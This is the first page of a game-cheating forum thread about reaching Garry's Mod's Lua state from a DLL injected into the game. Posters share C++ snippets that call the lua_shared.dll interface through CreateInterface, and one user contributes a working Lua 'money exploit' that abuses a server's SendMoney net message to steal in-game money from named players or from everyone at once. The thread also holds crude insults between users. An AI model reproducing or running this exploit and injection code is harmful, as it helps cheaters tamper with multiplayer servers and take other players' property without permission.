HelpGetting Lua state after injection

Posts 1–15 of 51 · Page 1 of 4
Getting Lua state after injection
I already have a way of getting the Lua state, but it's a pretty shitty way to do it. What's the quickest method for getting it after injection? Some shit with CreateInterface?
no one responded eh? i haven't worked with lua c stuff at all but i'm pretty sure it's just
getprocaddress
LUASHARED003 interface
call some virtual function in that interface to get the client/menu state (index 6 or something i can't remember)
???
profit
Quote Originally Posted by ExiledStyles View Post
no one responded eh? i haven't worked with lua c stuff at all but i'm pretty sure it's just
getprocaddress
LUASHARED003 interface
call some virtual function in that interface to get the client/menu state (index 6 or something i can't remember)
???
profit
I'd need the classes for shit like ILuaShared. I've found some online, but I don't think they work anymore.
Quote Originally Posted by tdsx View Post
I'd need the classes for shit like ILuaShared. I've found some online, but I don't think they work anymore.
you don't seem like a skid; add me.
if you want to do it yourself get ida and the mac dylibs and just get the vtable from that
ROFL HAHA
ILuaShared::GetLuaInterface(2); ??????????? the name is 101% clear, you just didn't moved your ass to search
as Styles said it's index 6
done with a bit of help from meep and some scouring of the web. Instead of just getting the lua state I thought I'd might as well get the interface and everything else included.



Code:
ILuaShared* shared;

CreateInterfaceFn factory = Sys_GetFactory("lua_shared.dll");
shared = (ILuaShared*)factory(GMOD_LUASHARED_INTERFACE, NULL);
lua_State* state = shared->GetLuaInterface(0)->GetLuaState();
I used the SourceSDK and the headers below.

https://bitbucket.org/danielga/gmod-...Lua/?at=master
what did i say earlier? it's 2015 you do not need to use the source sdk
typedef void* (_cdecl* FactoryFn)(const char*,void*);
FactoryFn lua = (FactoryFn)GetProcAddress(GetModuleHandleA("lua_sh ared.dll"),"CreateInterface");
Quote Originally Posted by ExiledStyles View Post
what did i say earlier? it's 2015 you do not need to use the source sdk
typedef void* (_cdecl* FactoryFn)(const char*,void*);
FactoryFn lua = (FactoryFn)GetProcAddress(GetModuleHandleA("lua_sh ared.dll"),"CreateInterface");
I know you don't, but I use it, and I use it for other things as well. It's just what I used.
thank you meep & tdsx for helping me out w/ with this. i know its not much but heres a money exploit to sort of give back
Code:
local c = concommand
local add = c.Add

function GetPlayerByName( name )
    for k, v in pairs( player.GetAll() ) do
        if( string.find( string.lower( v:Name() ), string.lower( name ) ) ) then
            return v
        end
    end
end

add( "stealmoney", function( ply, cmd, args, str )
	net.Start( "SendMoney" )
		net.WriteEntity( GetPlayerByName( args[1] ) )
		net.WriteEntity( GetPlayerByName( args[1] ) )
		net.WriteEntity( GetPlayerByName( args[1] ) )
		net.WriteString( args[2] )
	net.SendToServer()
end )

add( "makehit", function( ply, cmd, args, str )
	net.Start( "SendMoney" )
		net.WriteEntity( GetPlayerByName( args[1] ) )
		net.WriteEntity( GetPlayerByName( args[2] ) )
		net.WriteEntity( nil )
		net.WriteString( args[3] )
	net.SendToServer()
end )

add( "takeeveryonesmoney", function()
	for k, v in pairs( player.GetAll() ) do
		RunConsoleCommand( "stealmoney", v:Nick(), "999999999999999999")
	end
end )
because it's designed for making a half life mod, not a cheat?
trust me, given the small time it takes it's worth it
oh and you'll be better than meep, that's always good
Quote Originally Posted by ExiledStyles View Post
because it's designed for making a half life mod, not a cheat?
trust me, given the small time it takes it's worth it
oh and you'll be better than meep, that's always good
under what circumstances would anyone on this site give a shit about what the sourceSDK was designed for. I can't even imagine.
Quote Originally Posted by ExiledStyles View Post
because it's designed for making a half life mod, not a cheat?
trust me, given the small time it takes it's worth it
oh and you'll be better than meep, that's always good
i bet you don't even know what this code would do

Code:
void *x = 0
x++;
printf("%p", x);
the lua state gotten with this method turns out to be broken, at least for me. trying to use the lua state and functions included in the lua base doesn't work. as soon I try using a lua base function with the state, the dll stops and doesn't do anything past the call to the function. sort of the same thing with the lua base and interface. it all just seems to be broken.

they're not null, but it just doesn't work.
what is "the lua base"? about 4 months ago i took some pastebin files of dylib dumps and called the necessary funcs, worked fine for me.
and meep you are trolling and that is not allowed here.
shared->GetLuaInterface( 0 )->Msg( "hello world" )
Posts 1–15 of 51 · Page 1 of 4

Post a Reply

Similar Threads

Tags for this Thread

None

Talk with us